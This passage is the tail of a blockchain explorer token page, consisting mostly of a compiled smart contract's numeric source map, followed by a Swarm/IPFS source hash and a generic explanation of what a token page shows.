5;2952:13;2945:21;2938:5;2935:32;2925:60;;2981:1;2978;2971:12;2996:382;3061:6;3069;3122:2;3110:9;3101:7;3097:23;3093:32;3090:52;;;3138:1;3135;3128:12;3090:52;3177:9;3164:23;3196:31;3221:5;3196:31;:::i;:::-;3246:5;-1:-1:-1;3303:2:1;3288:18;;3275:32;3316:30;3275:32;3316:30;:::i;:::-;3365:7;3355:17;;;2996:382;;;;;:::o;3383:241::-;3439:6;3492:2;3480:9;3471:7;3467:23;3463:32;3460:52;;;3508:1;3505;3498:12;3460:52;3547:9;3534:23;3566:28;3588:5;3566:28;:::i;3629:388::-;3697:6;3705;3758:2;3746:9;3737:7;3733:23;3729:32;3726:52;;;3774:1;3771;3764:12;3726:52;3813:9;3800:23;3832:31;3857:5;3832:31;:::i;:::-;3882:5;-1:-1:-1;3939:2:1;3924:18;;3911:32;3952:33;3911:32;3952:33;:::i;4256:380::-;4335:1;4331:12;;;;4378;;;4399:61;;4453:4;4445:6;4441:17;4431:27;;4399:61;4506:2;4498:6;4495:14;4475:18;4472:38;4469:161;;4552:10;4547:3;4543:20;4540:1;4533:31;4587:4;4584:1;4577:15;4615:4;4612:1;4605:15;4469:161;;4256:380;;;:::o;4641:127::-;4702:10;4697:3;4693:20;4690:1;4683:31;4733:4;4730:1;4723:15;4757:4;4754:1;4747:15;4773:422;4862:1;4905:5;4862:1;4919:270;4940:7;4930:8;4927:21;4919:270;;;4999:4;4995:1;4991:6;4987:17;4981:4;4978:27;4975:53;;;5008:18;;:::i;:::-;5058:7;5048:8;5044:22;5041:55;;;5078:16;;;;5041:55;5157:22;;;;5117:15;;;;4919:270;;;4923:3;4773:422;;;;;:::o;5200:806::-;5249:5;5279:8;5269:80;;-1:-1:-1;5320:1:1;5334:5;;5269:80;5368:4;5358:76;;-1:-1:-1;5405:1:1;5419:5;;5358:76;5450:4;5468:1;5463:59;;;;5536:1;5531:130;;;;5443:218;;5463:59;5493:1;5484:10;;5507:5;;;5531:130;5568:3;5558:8;5555:17;5552:43;;;5575:18;;:::i;:::-;-1:-1:-1;;5631:1:1;5617:16;;5646:5;;5443:218;;5745:2;5735:8;5732:16;5726:3;5720:4;5717:13;5713:36;5707:2;5697:8;5694:16;5689:2;5683:4;5680:12;5676:35;5673:77;5670:159;;;-1:-1:-1;5782:19:1;;;5814:5;;5670:159;5861:34;5886:8;5880:4;5861:34;:::i;:::-;5931:6;5927:1;5923:6;5919:19;5910:7;5907:32;5904:58;;;5942:18;;:::i;:::-;5980:20;;5200:806;-1:-1:-1;;;5200:806:1:o;6011:140::-;6069:5;6098:47;6139:4;6129:8;6125:19;6119:4;6098:47;:::i;6156:168::-;6196:7;6262:1;6258;6254:6;6250:14;6247:1;6244:21;6239:1;6232:9;6225:17;6221:45;6218:71;;;6269:18;;:::i;:::-;-1:-1:-1;6309:9:1;;6156:168::o;6329:125::-;6369:4;6397:1;6394;6391:8;6388:34;;;6402:18;;:::i;:::-;-1:-1:-1;6439:9:1;;6329:125::o;6459:251::-;6529:6;6582:2;6570:9;6561:7;6557:23;6553:32;6550:52;;;6598:1;6595;6588:12;6550:52;6630:9;6624:16;6649:31;6674:5;6649:31;:::i;7303:245::-;7370:6;7423:2;7411:9;7402:7;7398:23;7394:32;7391:52;;;7439:1;7436;7429:12;7391:52;7471:9;7465:16;7490:28;7512:5;7490:28;:::i;8726:128::-;8766:3;8797:1;8793:6;8790:1;8787:13;8784:39;;;8803:18;;:::i;:::-;-1:-1:-1;8839:9:1;;8726:128::o;9267:217::-;9307:1;9333;9323:132;;9377:10;9372:3;9368:20;9365:1;9358:31;9412:4;9409:1;9402:15;9440:4;9437:1;9430:15;9323:132;-1:-1:-1;9469:9:1;;9267:217::o;9621:127::-;9682:10;9677:3;9673:20;9670:1;9663:31;9713:4;9710:1;9703:15;9737:4;9734:1;9727:15;9753:980;10015:4;10063:3;10052:9;10048:19;10094:6;10083:9;10076:25;10120:2;10158:6;10153:2;10142:9;10138:18;10131:34;10201:3;10196:2;10185:9;10181:18;10174:31;10225:6;10260;10254:13;10291:6;10283;10276:22;10329:3;10318:9;10314:19;10307:26;;10368:2;10360:6;10356:15;10342:29;;10389:1;10399:195;10413:6;10410:1;10407:13;10399:195;;;10478:13;;-1:-1:-1;;;;;10474:39:1;10462:52;;10569:15;;;;10534:12;;;;10510:1;10428:9;10399:195;;;-1:-1:-1;;;;;;;10650:32:1;;;;10645:2;10630:18;;10623:60;-1:-1:-1;;;10714:3:1;10699:19;10692:35;10611:3;9753:980;-1:-1:-1;;;9753:980:1:o;11350:306::-;11438:6;11446;11454;11507:2;11495:9;11486:7;11482:23;11478:32;11475:52;;;11523:1;11520;11513:12;11475:52;11552:9;11546:16;11536:26;;11602:2;11591:9;11587:18;11581:25;11571:35;;11646:2;11635:9;11631:18;11625:25;11615:35;;11350:306;;;;;:::o

Swarm Source

ipfs://03637dc9f4ce056495651d3c3bcbc71f8308867081cc26523b957bfb39ec6c7e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.